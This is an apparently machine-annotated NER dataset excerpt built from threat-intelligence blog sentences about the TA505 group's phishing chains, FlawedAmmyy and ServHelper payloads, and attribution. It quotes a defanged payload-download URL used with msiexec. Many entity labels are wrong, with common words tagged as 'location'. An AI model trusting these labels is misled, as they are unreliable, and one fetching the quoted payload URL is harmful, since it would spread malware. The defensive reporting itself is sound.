7},{"id":23520,"label":"SHA2","start_offset":3808,"end_offset":3872},{"id":23521,"label":"SHA2","start_offset":3873,"end_offset":3937},{"id":23522,"label":"SHA2","start_offset":3938,"end_offset":4002},{"id":23523,"label":"SHA2","start_offset":4003,"end_offset":4067},{"id":23524,"label":"SHA2","start_offset":4068,"end_offset":4132},{"id":23525,"label":"SHA2","start_offset":4133,"end_offset":4197},{"id":23526,"label":"SHA2","start_offset":4234,"end_offset":4298},{"id":23527,"label":"location","start_offset":4311,"end_offset":4314},{"id":23528,"label":"SHA2","start_offset":4355,"end_offset":4419},{"id":23529,"label":"MD5","start_offset":4420,"end_offset":4484},{"id":23530,"label":"SHA1","start_offset":4485,"end_offset":4549},{"id":23531,"label":"location","start_offset":4574,"end_offset":4577}],"relations":[],"Comments":[]} -{"id":7549,"text":"TA505 is a prolific cybercriminal group known for its attacks against multiple financial institutions and retail companies using malicious spam campaigns and different malware.","entities":[{"id":23533,"label":"location","start_offset":102,"end_offset":105},{"id":23534,"label":"location","start_offset":154,"end_offset":157}],"relations":[],"Comments":[]} -{"id":7550,"text":"We have been following TA505 closely and detected various related activities for the past two months.","entities":[{"id":23536,"label":"location","start_offset":37,"end_offset":40}],"relations":[],"Comments":[]} {"id":7551,"text":"In the group's latest campaign, they started using HTML attachments to deliver malicious .XLS files that lead to downloader and backdoor FlawedAmmyy, mostly to target users in South Korea.","entities":[{"id":23538,"label":"location","start_offset":22,"end_offset":30},{"id":23539,"label":"location","start_offset":105,"end_offset":109},{"id":23540,"label":"location","start_offset":124,"end_offset":127},{"id":23541,"label":"tools","start_offset":137,"end_offset":148},{"id":23542,"label":"location","start_offset":160,"end_offset":166}],"relations":[],"Comments":[]} {"id":7552,"text":" Figure 1. TA505’s latest infection chain","entities":[],"relations":[],"Comments":[]} -{"id":7553,"text":"This blog post covers three main points involving TA505: their recent activity in specific regions, shifting tactics and payloads, and suspicious activity possibly associated with the group.","entities":[{"id":23546,"label":"location","start_offset":10,"end_offset":14},{"id":23548,"label":"location","start_offset":33,"end_offset":39},{"id":23550,"label":"location","start_offset":117,"end_offset":120},{"id":23551,"label":"location","start_offset":131,"end_offset":134}],"relations":[],"Comments":[]} {"id":7554,"text":"We also touch on the latest TA505 developments, including an email stealer, their use of legitimate software and MSI Installer, and more.","entities":[{"id":23553,"label":"malware","start_offset":67,"end_offset":74},{"id":23554,"label":"location","start_offset":109,"end_offset":112},{"id":23556,"label":"location","start_offset":128,"end_offset":131}],"relations":[],"Comments":[]} -{"id":7555,"text":"Recent activity in Latin America and East Asia","entities":[{"id":23558,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]} {"id":7556,"text":"As previously mentioned, TA505, first named by Proofpoint, is known for targeting financial enterprises.","entities":[],"relations":[],"Comments":[]} {"id":7557,"text":"Since last December, TA505 has been very active and has been using legitimate or compromised RATs (remote access trojans) such as FlawedAmmyy, FlawedGrace, and Remote Manipulator System (RMS).","entities":[{"id":23565,"label":"location","start_offset":48,"end_offset":51},{"id":23566,"label":"location","start_offset":99,"end_offset":105},{"id":23567,"label":"tools","start_offset":130,"end_offset":141},{"id":23568,"label":"malware","start_offset":143,"end_offset":154},{"id":23569,"label":"location","start_offset":156,"end_offset":159},{"id":23570,"label":"location","start_offset":160,"end_offset":166},{"id":23571,"label":"malware","start_offset":187,"end_offset":190}],"relations":[],"Comments":[]} -{"id":7558,"text":"While monitoring their activities, we found that the group is still updating their tactics, techniques, and procedures (TTPs).","entities":[{"id":23572,"label":"location","start_offset":104,"end_offset":107}],"relations":[],"Comments":[]} -{"id":7559,"text":"In April, TA505 targeted Latin American countries Chile and Mexico, and even Italy using either FlawedAmmyy RAT or RMS RAT as payload.","entities":[{"id":23577,"label":"location","start_offset":56,"end_offset":59},{"id":23579,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]} -{"id":7560,"text":"By the end of April, we learned that the group started to go after targets in East Asian countries such as China, South Korea, and Taiwan using FlawedAmmyy RAT as its payload.","entities":[{"id":23584,"label":"location","start_offset":24,"end_offset":31},{"id":23588,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]} -{"id":7561,"text":"TA505 has also recently used LOLbins and legitimate Windows OS processes to perform malicious activities and deliver a payload without being detected.","entities":[{"id":23592,"label":"location","start_offset":37,"end_offset":40},{"id":23593,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]} -{"id":7562,"text":"As the entry point of an attack, it delivers a sophisticated email containing a malicious Excel or Word file.","entities":[{"id":23594,"label":"location","start_offset":13,"end_offset":18}],"relations":[],"Comments":[]} -{"id":7563,"text":"The group notably abuses Excel 4.0 macro — a particularly old macro likely used to evade typical macro detection.","entities":[{"id":23596,"label":"location","start_offset":25,"end_offset":30},{"id":23597,"label":"location","start_offset":68,"end_offset":74}],"relations":[],"Comments":[]} {"id":7564,"text":" Figure 2. Korean language (left), simplified Chinese language (right) Microsoft Office instructions on how to enable macro Figure 3.","entities":[{"id":23602,"label":"tools","start_offset":81,"end_offset":87}],"relations":[],"Comments":[]} -{"id":7565,"text":"Excel 4.0 macro","entities":[{"id":23604,"label":"location","start_offset":0,"end_offset":5}],"relations":[],"Comments":[]} {"id":7566,"text":"This said macro executes a command to download the first stage payload using msiexec.exe, a Microsoft Installer tool that can download and run a Windows Installer file.","entities":[{"id":23605,"label":"identity","start_offset":92,"end_offset":101},{"id":23606,"label":"location","start_offset":112,"end_offset":116},{"id":23607,"label":"location","start_offset":122,"end_offset":125},{"id":23608,"label":"location","start_offset":135,"end_offset":138}],"relations":[],"Comments":[]} {"id":7567,"text":"The first stage payload is an MSI Installer that was created using an EXE to MSI converter.","entities":[],"relations":[],"Comments":[]} {"id":7568,"text":" Figure 4. MSI Installer payload that used EXE to MSI converter","entities":[],"relations":[],"Comments":[]} @@ -4652,12 +5465,9 @@ {"id":7572,"text":"The MSI Installer itself contains a FlawedAmmyy downloader, which is always signed.","entities":[{"id":23617,"label":"malware","start_offset":36,"end_offset":47}],"relations":[],"Comments":[]} {"id":7573,"text":" Figure 5. FlawedAmmyy downloader Figure 6.","entities":[{"id":23619,"label":"malware","start_offset":11,"end_offset":22}],"relations":[],"Comments":[]} {"id":7574,"text":"Digitally signed FlawedAmmyy downloader","entities":[{"id":23621,"label":"malware","start_offset":17,"end_offset":28}],"relations":[],"Comments":[]} -{"id":7575,"text":"The downloader will check if the infected machine is running in the Active Directory (AD) network.","entities":[{"id":23622,"label":"location","start_offset":15,"end_offset":19},{"id":23623,"label":"location","start_offset":20,"end_offset":25}],"relations":[],"Comments":[]} {"id":7576,"text":"It then runs the “net group \/domain” command and checks if “workgroup” is contained in the output result.","entities":[{"id":23624,"label":"malware","start_offset":18,"end_offset":21},{"id":23625,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]} -{"id":7577,"text":"(If it does not exist, it means that the PC is running in AD.)","entities":[{"id":23626,"label":"location","start_offset":26,"end_offset":31}],"relations":[],"Comments":[]} {"id":7578,"text":"After performing the check, it downloads the RC4-encrypted FlawedAmmyy RAT, decrypts it, and executes it as the final payload.","entities":[{"id":23627,"label":"location","start_offset":21,"end_offset":26},{"id":23628,"label":"malware","start_offset":59,"end_offset":70},{"id":23629,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]} {"id":7579,"text":"We recently observed an instance where the FlawedAmmyy downloader was not digitally signed (FlawedAmmyy RAT payload is still signed, however).","entities":[{"id":23630,"label":"malware","start_offset":43,"end_offset":54}],"relations":[],"Comments":[]} -{"id":7580,"text":"It could be a blip — perhaps a one-off — but it's still notable. Payload as ServHelper ServHelper is classified as a backdoor, but it can also work as a downloader for FlawedGrace.","entities":[{"id":23632,"label":"location","start_offset":31,"end_offset":34},{"id":23634,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]} {"id":7581,"text":"If the MSI Installer package contains ServHelper as a payload, it will come with an NSIS (Nullsoft Scriptable Install System) installer.","entities":[{"id":23637,"label":"location","start_offset":66,"end_offset":70},{"id":23638,"label":"malware","start_offset":84,"end_offset":88}],"relations":[],"Comments":[]} {"id":7582,"text":"Figure 7.","entities":[],"relations":[],"Comments":[]} {"id":7583,"text":"NSIS Installer NSIS is a legitimate tool that manages the installation for Windows, but some hacking groups also abuse it.","entities":[{"id":23640,"label":"malware","start_offset":0,"end_offset":4},{"id":23641,"label":"malware","start_offset":15,"end_offset":19},{"id":23642,"label":"location","start_offset":36,"end_offset":40}],"relations":[],"Comments":[]} @@ -4669,67 +5479,35 @@ {"id":7589,"text":"In this case, repotaj.dll, which is ServHelper, will be extracted to %TEMP% and execute with the “feast” parameter as its export function.","entities":[{"id":23652,"label":"location","start_offset":8,"end_offset":12},{"id":23653,"label":"malware","start_offset":36,"end_offset":46},{"id":23654,"label":"location","start_offset":48,"end_offset":52},{"id":23655,"label":"location","start_offset":76,"end_offset":79},{"id":23656,"label":"location","start_offset":122,"end_offset":128}],"relations":[],"Comments":[]} {"id":7590,"text":"Once ServHelper is executed, it runs a PowerShell script to get information from the infected machine.","entities":[{"id":23658,"label":"attack-pattern","start_offset":39,"end_offset":49}],"relations":[],"Comments":[]} {"id":7591,"text":"Payload as RMS RAT TA505 also uses RMS, a legitimate RAT, in their campaigns.","entities":[],"relations":[],"Comments":[]} -{"id":7592,"text":"If the MSI Installer package contains RMS RAT as its payload, it will include a self-extracting RAR.","entities":[{"id":23663,"label":"location","start_offset":65,"end_offset":69}],"relations":[],"Comments":[]} {"id":7593,"text":"Figure 9.","entities":[],"relations":[],"Comments":[]} {"id":7594,"text":"SFXRAR","entities":[],"relations":[],"Comments":[]} -{"id":7595,"text":"This SFXRAR extracts three files to %TEMP% and executes one of the files, where exit.exe is a launcher for i.cmd; i.cmd renames kernel.dll to uninstall.exe, then executes it with parameters. Figure 10.","entities":[{"id":23667,"label":"location","start_offset":43,"end_offset":46},{"id":23668,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]} {"id":7596,"text":"Three files extracted from SFXRAR Figure 11.","entities":[],"relations":[],"Comments":[]} {"id":7597,"text":"Executed parameters As indicated in the parameter above, kernel.dll\/uninstall.exe is also SFXRAR, but password-protected.","entities":[],"relations":[],"Comments":[]} {"id":7598,"text":"It will extract the following files (Figure 12) and execute exit.exe, where the said executable is also a launcher of i.cmd that registers winserv.exe (the actual RMS RAT) and executes it.","entities":[{"id":23672,"label":"location","start_offset":3,"end_offset":7},{"id":23674,"label":"location","start_offset":48,"end_offset":51},{"id":23675,"label":"malware","start_offset":163,"end_offset":166},{"id":23676,"label":"location","start_offset":172,"end_offset":175}],"relations":[],"Comments":[]} -{"id":7599,"text":"The password used to extract from the RAR file will be passed by the parameter “-p”, which is set in i.cmd.","entities":[{"id":23677,"label":"location","start_offset":47,"end_offset":51}],"relations":[],"Comments":[]} {"id":7600,"text":" Figure 12.","entities":[],"relations":[],"Comments":[]} {"id":7601,"text":"Extracted files Figure 13.","entities":[],"relations":[],"Comments":[]} {"id":7602,"text":"RMS RAT is added to the startup registry and executed Updates on TA505's tactics, techniques and procedures","entities":[{"id":23681,"label":"location","start_offset":24,"end_offset":31},{"id":23682,"label":"location","start_offset":41,"end_offset":44},{"id":23683,"label":"threat-actor","start_offset":65,"end_offset":70},{"id":23684,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]} -{"id":7603,"text":"Since the tail end of April through early June, we observed TA505 changing its tactics, techniques, and procedures (TTPs) in a variety of ways.","entities":[{"id":23688,"label":"location","start_offset":100,"end_offset":103}],"relations":[],"Comments":[]} -{"id":7604,"text":"The following is a quick rundown of the group's varying methods.","entities":[{"id":23689,"label":"location","start_offset":19,"end_offset":24}],"relations":[],"Comments":[]} {"id":7605,"text":"Using Amadey to distribute EmailStealer On April 24, we detected an attack that used Amadey as its first stage payload.","entities":[],"relations":[],"Comments":[]} -{"id":7606,"text":"Amadey is a known downloader for another payload (FlawedAmmyy downloader) and EmailStealer, which steals email accounts or SMTP credentials from infected PCs.","entities":[{"id":23697,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]} -{"id":7607,"text":"In this particular attack, we discovered that the C&C server of EmailStealer had an open directory, allowing us to view the information that EmailStealer stole.","entities":[{"id":23700,"label":"location","start_offset":115,"end_offset":119}],"relations":[],"Comments":[]} -{"id":7608,"text":"We presume the information, primarily comprised of lists of email addresses, will be used in future attacks.","entities":[{"id":23702,"label":"location","start_offset":77,"end_offset":81}],"relations":[],"Comments":[]} -{"id":7609,"text":"Using VBA macro TA505 has been using Excel 4.0 macro for a while, but we recently observed the group using the usual VBA (Visual Basic for Applications) macro along with Excel 4.0 macro.","entities":[{"id":23704,"label":"location","start_offset":37,"end_offset":42},{"id":23705,"label":"location","start_offset":159,"end_offset":164},{"id":23706,"label":"location","start_offset":170,"end_offset":175}],"relations":[],"Comments":[]} -{"id":7610,"text":"However, they still hide the command and malicious URL in “UserForm” and not in VBA code.","entities":[{"id":23707,"label":"location","start_offset":37,"end_offset":40},{"id":23708,"label":"location","start_offset":69,"end_offset":72}],"relations":[],"Comments":[]} -{"id":7611,"text":" Figure 14. Malicious command and URL hidden in UserForm","entities":[{"id":23710,"label":"location","start_offset":30,"end_offset":33}],"relations":[],"Comments":[]} {"id":7612,"text":"Avoiding the use of msiexec.exe","entities":[],"relations":[],"Comments":[]} {"id":7613,"text":"As previously mentioned, TA505 abuses msiexec.exe to install its first stage payload, but we recently observed the group just directly downloading the first stage payload binary and executing it.","entities":[{"id":23714,"label":"identity","start_offset":121,"end_offset":125},{"id":23715,"label":"location","start_offset":178,"end_offset":181}],"relations":[],"Comments":[]} {"id":7614,"text":"Like the VBA macro code, the group just executes the downloaded file 234.exe by cmd.exe.","entities":[{"id":23716,"label":"identity","start_offset":35,"end_offset":39},{"id":23717,"label":"tools","start_offset":80,"end_offset":87}],"relations":[],"Comments":[]} -{"id":7615,"text":"This is possibly because endpoint security solutions easily detect msiexec.exe.","entities":[{"id":23718,"label":"location","start_offset":34,"end_offset":42}],"relations":[],"Comments":[]} -{"id":7616,"text":"Using HTML as an attack entry point TA505 has been using Excel file, Word document, or .WIZ files as its attack entry point.","entities":[{"id":23719,"label":"location","start_offset":30,"end_offset":35},{"id":23723,"label":"location","start_offset":118,"end_offset":123}],"relations":[],"Comments":[]} {"id":7617,"text":"However, as mentioned earlier, the group has also started to attach an HTML link in emails to trick users into opening the Excel file.","entities":[],"relations":[],"Comments":[]} {"id":7618,"text":" Figure 15.","entities":[],"relations":[],"Comments":[]} {"id":7619,"text":"Attached HTML","entities":[],"relations":[],"Comments":[]} -{"id":7620,"text":"Opening this HTML link will redirect the user to a malicious URL that hosts the malicious Excel file.","entities":[{"id":23726,"label":"location","start_offset":23,"end_offset":27}],"relations":[],"Comments":[]} -{"id":7621,"text":"The Excel file still has the same style of VBA macro, which was described in the previous section.","entities":[{"id":23729,"label":"location","start_offset":29,"end_offset":33},{"id":23730,"label":"location","start_offset":90,"end_offset":97}],"relations":[],"Comments":[]} -{"id":7622,"text":"This could mean that the group is trying to change the entry point's file type to bypass macro detection.","entities":[{"id":23731,"label":"location","start_offset":61,"end_offset":66},{"id":23732,"label":"location","start_offset":74,"end_offset":78}],"relations":[],"Comments":[]} -{"id":7623,"text":"In early June, for instance, we saw HTML in emails that used a friendly tone so recipients would download the Excel file.","entities":[{"id":23734,"label":"location","start_offset":63,"end_offset":71}],"relations":[],"Comments":[]} {"id":7624,"text":"Some recent cases we observed even had the Excel file directly attached to the emails.","entities":[],"relations":[],"Comments":[]} {"id":7625,"text":"Figure 16.","entities":[],"relations":[],"Comments":[]} -{"id":7626,"text":"HTML shows a message before Excel download (Translation from Korean: Downloading ... ... will be taken to the download page after a while ....","entities":[{"id":23740,"label":"location","start_offset":89,"end_offset":93},{"id":23741,"label":"location","start_offset":119,"end_offset":123}],"relations":[],"Comments":[]} -{"id":7627,"text":"If you wait a while and continue to see this message, please click on \"> link <\/a>!","entities":[{"id":23742,"label":"location","start_offset":20,"end_offset":23}],"relations":[],"Comments":[]} {"id":7628,"text":"Thank you.)","entities":[],"relations":[],"Comments":[]} {"id":7629,"text":"Suspicious activity involving TA505","entities":[{"id":23743,"label":"threat-actor","start_offset":30,"end_offset":35}],"relations":[],"Comments":[]} {"id":7630,"text":"While analyzing TA505's activities, we encountered strange attacks that were very similar to TA505’s TTPs but with some differences.","entities":[{"id":23744,"label":"threat-actor","start_offset":16,"end_offset":21},{"id":23745,"label":"threat-actor","start_offset":93,"end_offset":98}],"relations":[],"Comments":[]} -{"id":7631,"text":"This section discusses a particular attack that, like the usual TA505 attack, distributes RMS RAT via Excel and SFXRAR.","entities":[{"id":23746,"label":"location","start_offset":5,"end_offset":12},{"id":23750,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]} {"id":7632,"text":"But it also contains Kronos, a known banking trojan; and SmokeLoader, which is another payload downloader.","entities":[{"id":23751,"label":"malware","start_offset":21,"end_offset":27},{"id":23752,"label":"location","start_offset":53,"end_offset":56},{"id":23753,"label":"malware","start_offset":57,"end_offset":68}],"relations":[],"Comments":[]} -{"id":7633,"text":"While the attack shows characteristics that are similar those of TA505's attacks, we suspect that this could be a forged attack.","entities":[{"id":23754,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]} -{"id":7634,"text":"As for the reason why we are dubious about this attack, another report has also since surfaced discussing that some threat actor was using similar tools to TA505’s.","entities":[{"id":23756,"label":"location","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]} -{"id":7635,"text":"In this attack, the basic TTPs and tools used seem similar, but we found five interesting points that set them apart: Using .rar or .zip as attachment","entities":[{"id":23758,"label":"location","start_offset":31,"end_offset":34},{"id":23760,"label":"location","start_offset":90,"end_offset":96},{"id":23761,"label":"location","start_offset":106,"end_offset":110}],"relations":[],"Comments":[]} {"id":7636,"text":"The TA505 group usually attaches a malicious file without any compression.","entities":[],"relations":[],"Comments":[]} {"id":7637,"text":"But this attack sent an email with a .rar or .zip attachment.","entities":[],"relations":[],"Comments":[]} -{"id":7638,"text":"However, this may not be a significant difference.","entities":[{"id":23763,"label":"location","start_offset":14,"end_offset":17}],"relations":[],"Comments":[]} -{"id":7639,"text":"Using a similar image on Excel but with different macro and attribution","entities":[{"id":23765,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]} -{"id":7640,"text":"The following image on Excel appears similar to the one TA505 has been using.","entities":[{"id":23767,"label":"location","start_offset":52,"end_offset":55}],"relations":[],"Comments":[]} {"id":7641,"text":"Figure 17.","entities":[],"relations":[],"Comments":[]} -{"id":7642,"text":"Display on Excel for this suspicious attack But there are a few differences in this Excel file.","entities":[{"id":23771,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]} {"id":7643,"text":"For one thing, it has a different style of VBA macro.","entities":[],"relations":[],"Comments":[]} -{"id":7644,"text":"TA505 has been using Excel 4.0 macro and VBA macro without heavy obfuscation, but this particular Excel file was heavily obfuscated and had a different style.","entities":[{"id":23775,"label":"location","start_offset":21,"end_offset":26},{"id":23776,"label":"location","start_offset":37,"end_offset":40},{"id":23778,"label":"location","start_offset":132,"end_offset":135}],"relations":[],"Comments":[]} {"id":7645,"text":" Figure 18. VBA macro with heavy obfuscation","entities":[],"relations":[],"Comments":[]} {"id":7646,"text":"Another factor is its different codepage.","entities":[],"relations":[],"Comments":[]} {"id":7647,"text":"Malicious Excel files that TA505 distributed had information harvesting capabilities.","entities":[],"relations":[],"Comments":[]} -{"id":7648,"text":"For example, the codepage of Excel has always been “1251” Cyrillic (Windows), but the code page of this particular attack was “1252” Western European (Windows). Figure 19. Information of Excel file used in this suspicious attack Figure 20. Information of the usual Excel file distributed by TA505","entities":[{"id":23783,"label":"location","start_offset":52,"end_offset":56},{"id":23785,"label":"location","start_offset":91,"end_offset":95}],"relations":[],"Comments":[]} {"id":7649,"text":"Lacking the use of fast flux infrastructure TA505 uses fast flux, a DNS technique used to mask botnets by quickly shifting among compromised hosts, which allows cybercriminals to delay or evade detection.","entities":[{"id":23793,"label":"threat-actor","start_offset":90,"end_offset":94}],"relations":[],"Comments":[]} -{"id":7650,"text":"The domains the group has been using to distribute payloads were usually resolved across a lot of IPs.","entities":[{"id":23794,"label":"location","start_offset":91,"end_offset":94}],"relations":[],"Comments":[]} -{"id":7651,"text":"But in this attack, the domains used to distribute the payload only had one IP.","entities":[{"id":23795,"label":"location","start_offset":63,"end_offset":67},{"id":23796,"label":"location","start_offset":72,"end_offset":75}],"relations":[],"Comments":[]} -{"id":7652,"text":"It should be noted, however, that TA505 may have used different infrastructure for this instance, or another attacker may have performed malicious activities under the guise of TA505.","entities":[{"id":23798,"label":"location","start_offset":40,"end_offset":43},{"id":23799,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]} {"id":7653,"text":"Using Kronos and SmokeLoader (v2019) TA505 previously used Amadey to distribute the FlawedAmmyy downloader before, so the use of Kronos and SmokeLoader can’t be considered strong evidence of false attribution.","entities":[{"id":23802,"label":"location","start_offset":13,"end_offset":16},{"id":23803,"label":"malware","start_offset":17,"end_offset":28},{"id":23808,"label":"location","start_offset":136,"end_offset":139},{"id":23810,"label":"location","start_offset":172,"end_offset":178}],"relations":[],"Comments":[]} {"id":7654,"text":"Using a different infrastructure to distribute spam","entities":[],"relations":[],"Comments":[]} {"id":7655,"text":"The strongest evidence that this attack might not come from TA505 is that this attack operator used a different spam infrastructure.","entities":[],"relations":[],"Comments":[]} @@ -4738,54 +5516,26 @@ {"id":7658,"text":"We can’t say for sure if this particular attack comes from TA505, another threat actor, an imitator, or perhaps just TA505 using another infrastructure.","entities":[{"id":23815,"label":"identity","start_offset":112,"end_offset":116}],"relations":[],"Comments":[]} {"id":7659,"text":"This reiterates the tricky business of attribution in cybersecurity, which calls for careful inspection.","entities":[],"relations":[],"Comments":[]} {"id":7660,"text":"While it's easy to attribute similar incidents to certain threat actors, groups, or even countries, attribution should ultimately be based on technically provable information.","entities":[],"relations":[],"Comments":[]} -{"id":7661,"text":"After all, attributions can be used to operationalize appropriate incident response and remediation.","entities":[{"id":23817,"label":"location","start_offset":24,"end_offset":27},{"id":23818,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]} -{"id":7662,"text":"Defending against TA505's malicious activities TA505 has been responsible for many large-scale attacks since at least 2014, using malicious email campaigns to distribute various banking trojans, ransomware, RATs, and backdoors.","entities":[{"id":23821,"label":"location","start_offset":78,"end_offset":82},{"id":23822,"label":"location","start_offset":83,"end_offset":88},{"id":23824,"label":"location","start_offset":213,"end_offset":216}],"relations":[],"Comments":[]} -{"id":7663,"text":"They had also targeted retail brands and even different financial companies across the world.","entities":[{"id":23825,"label":"location","start_offset":37,"end_offset":40},{"id":23826,"label":"location","start_offset":87,"end_offset":92}],"relations":[],"Comments":[]} -{"id":7664,"text":"TA505 has been focused on delivering downloaders, information stealers, and other malware — threats that can remain in affected systems if not prevented or remediated.","entities":[{"id":23828,"label":"location","start_offset":72,"end_offset":75},{"id":23829,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]} -{"id":7665,"text":"With the group's use of email as an entry point for malicious activities, the threat has become more serious for unwitting users and organizations.","entities":[{"id":23830,"label":"location","start_offset":42,"end_offset":47},{"id":23831,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]} -{"id":7666,"text":"Here are some best practices:","entities":[{"id":23832,"label":"location","start_offset":5,"end_offset":8},{"id":23833,"label":"location","start_offset":14,"end_offset":18}],"relations":[],"Comments":[]} -{"id":7667,"text":" Regularly update systems and applications.","entities":[{"id":23834,"label":"location","start_offset":26,"end_offset":29}],"relations":[],"Comments":[]} -{"id":7668,"text":"Incorporate multilayered security mechanisms such as firewalls and intrusion detection and prevention systems.","entities":[{"id":23835,"label":"location","start_offset":25,"end_offset":33},{"id":23836,"label":"location","start_offset":63,"end_offset":66},{"id":23837,"label":"location","start_offset":87,"end_offset":90}],"relations":[],"Comments":[]} -{"id":7669,"text":"For system administrators, secure the email gateway to prevent it from becoming an attack entry point and proactively monitor possible attack vectors. To defend against spam and threats from the TA505 group, businesses can consider Trend Micro™ endpoint solutions such as Trend Micro Smart Protection Suites and Worry-Free™ Business Security.","entities":[{"id":23838,"label":"location","start_offset":44,"end_offset":51},{"id":23839,"label":"location","start_offset":96,"end_offset":101},{"id":23840,"label":"location","start_offset":102,"end_offset":105},{"id":23841,"label":"location","start_offset":118,"end_offset":125},{"id":23842,"label":"location","start_offset":175,"end_offset":178},{"id":23844,"label":"location","start_offset":220,"end_offset":223},{"id":23847,"label":"location","start_offset":291,"end_offset":301},{"id":23848,"label":"location","start_offset":309,"end_offset":312}],"relations":[],"Comments":[]} -{"id":7670,"text":"Both solutions can protect users and businesses from threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs.","entities":[{"id":23850,"label":"location","start_offset":15,"end_offset":18},{"id":23851,"label":"location","start_offset":33,"end_offset":36},{"id":23852,"label":"location","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]} -{"id":7671,"text":"Trend Micro Deep Discovery™ has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs.","entities":[{"id":23854,"label":"location","start_offset":63,"end_offset":66},{"id":23855,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]} {"id":7672,"text":"Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.","entities":[{"id":23857,"label":"location","start_offset":55,"end_offset":60},{"id":23858,"label":"location","start_offset":105,"end_offset":115},{"id":23859,"label":"location","start_offset":119,"end_offset":123},{"id":23860,"label":"attack-pattern","start_offset":139,"end_offset":153},{"id":23861,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]} -{"id":7673,"text":"It protects Microsoft Exchange, Microsoft Office 365, Google Apps, and other hosted and on-premises email solutions.","entities":[{"id":23867,"label":"location","start_offset":67,"end_offset":70},{"id":23868,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]} -{"id":7674,"text":"The list of indicators of compromise (IoCs) related to this threat can be found in this appendix.","entities":[{"id":23869,"label":"location","start_offset":4,"end_offset":8},{"id":23870,"label":"location","start_offset":67,"end_offset":70}],"relations":[],"Comments":[]} -{"id":7675,"text":" Tags Malware | APT & Targeted Attacks | Endpoints | Research","entities":[{"id":23871,"label":"location","start_offset":23,"end_offset":26}],"relations":[],"Comments":[]} -{"id":7676,"text":"TA505 continues to show that as a cybercriminal group, they intend to wreak as much havoc while maximizing potential profits.","entities":[{"id":23873,"label":"location","start_offset":79,"end_offset":83}],"relations":[],"Comments":[]} -{"id":7677,"text":"Given the group's active campaigns since our updates in June and July, we continued following their latest campaigns.","entities":[{"id":23874,"label":"location","start_offset":0,"end_offset":5},{"id":23876,"label":"location","start_offset":61,"end_offset":64}],"relations":[],"Comments":[]} {"id":7678,"text":"Just like in previous operations, they continue to make small changes, such as targeting other countries, entities, or the combination of techniques used for deployment, for each campaign.","entities":[{"id":23878,"label":"identity","start_offset":0,"end_offset":4},{"id":23879,"label":"location","start_offset":56,"end_offset":61},{"id":23880,"label":"location","start_offset":179,"end_offset":187}],"relations":[],"Comments":[]} {"id":7679,"text":"Despite the changes, TA505 continues to use either FlawedAmmyy RAT (remote access trojan) or ServHelper as payloads.","entities":[{"id":23882,"label":"malware","start_offset":51,"end_offset":62},{"id":23883,"label":"location","start_offset":68,"end_offset":74}],"relations":[],"Comments":[]} {"id":7680,"text":"However, over the last nine campaigns since our June report, they also started using .ISO image attachments as the point of entry, as well as a .NET downloader, a new style for macro delivery, a newer version of ServHelper, and a .DLL variant of FlawedAmmyy downloader.","entities":[{"id":23887,"label":"location","start_offset":115,"end_offset":120},{"id":23889,"label":"location","start_offset":224,"end_offset":227},{"id":23890,"label":"malware","start_offset":246,"end_offset":257}],"relations":[],"Comments":[]} -{"id":7681,"text":"The group also started targeting new countries, such as Turkey, Serbia, Romania, Korea, Canada, the Czech Republic, and Hungary.","entities":[{"id":23897,"label":"location","start_offset":116,"end_offset":119}],"relations":[],"Comments":[]} {"id":7682,"text":".ISO, enabled macros for entry dropping ServHelper or FlawedAmmyy","entities":[{"id":23899,"label":"malware","start_offset":40,"end_offset":50},{"id":23900,"label":"malware","start_offset":54,"end_offset":65}],"relations":[],"Comments":[]} -{"id":7683,"text":"We noticed that the group became active again in the middle of July, targeting Turkish and Serbian banks with emails that had .ISO file attachments as a means of entry.","entities":[{"id":23903,"label":"location","start_offset":87,"end_offset":90},{"id":23905,"label":"location","start_offset":99,"end_offset":104},{"id":23906,"label":"location","start_offset":153,"end_offset":158}],"relations":[],"Comments":[]} -{"id":7684,"text":"While the method is not new, the change in file type may yield successful infections given the unusual malware delivery technique.","entities":[{"id":23907,"label":"location","start_offset":48,"end_offset":52},{"id":23908,"label":"location","start_offset":53,"end_offset":56},{"id":23909,"label":"location","start_offset":85,"end_offset":90}],"relations":[],"Comments":[]} {"id":7685,"text":"Emails with an attached .ISO image is an .LNK file that uses command line msiexec to execute an MSI file from a URL such as hxxp:\/\/139[.]180[.]195[.]36\/pm2.","entities":[],"relations":[],"Comments":[]} {"id":7686,"text":"Figure 1. Infection chains for ServHelper installation Figure 2.","entities":[{"id":23911,"label":"malware","start_offset":31,"end_offset":41}],"relations":[],"Comments":[]} {"id":7687,"text":"A sample of an .ISO file with an embedded .LNK file The pm2 file contains and runs another executable, which is an installer file created using Nullsoft Scriptable Install System (NSIS), a free script-driven installer authoring tool for 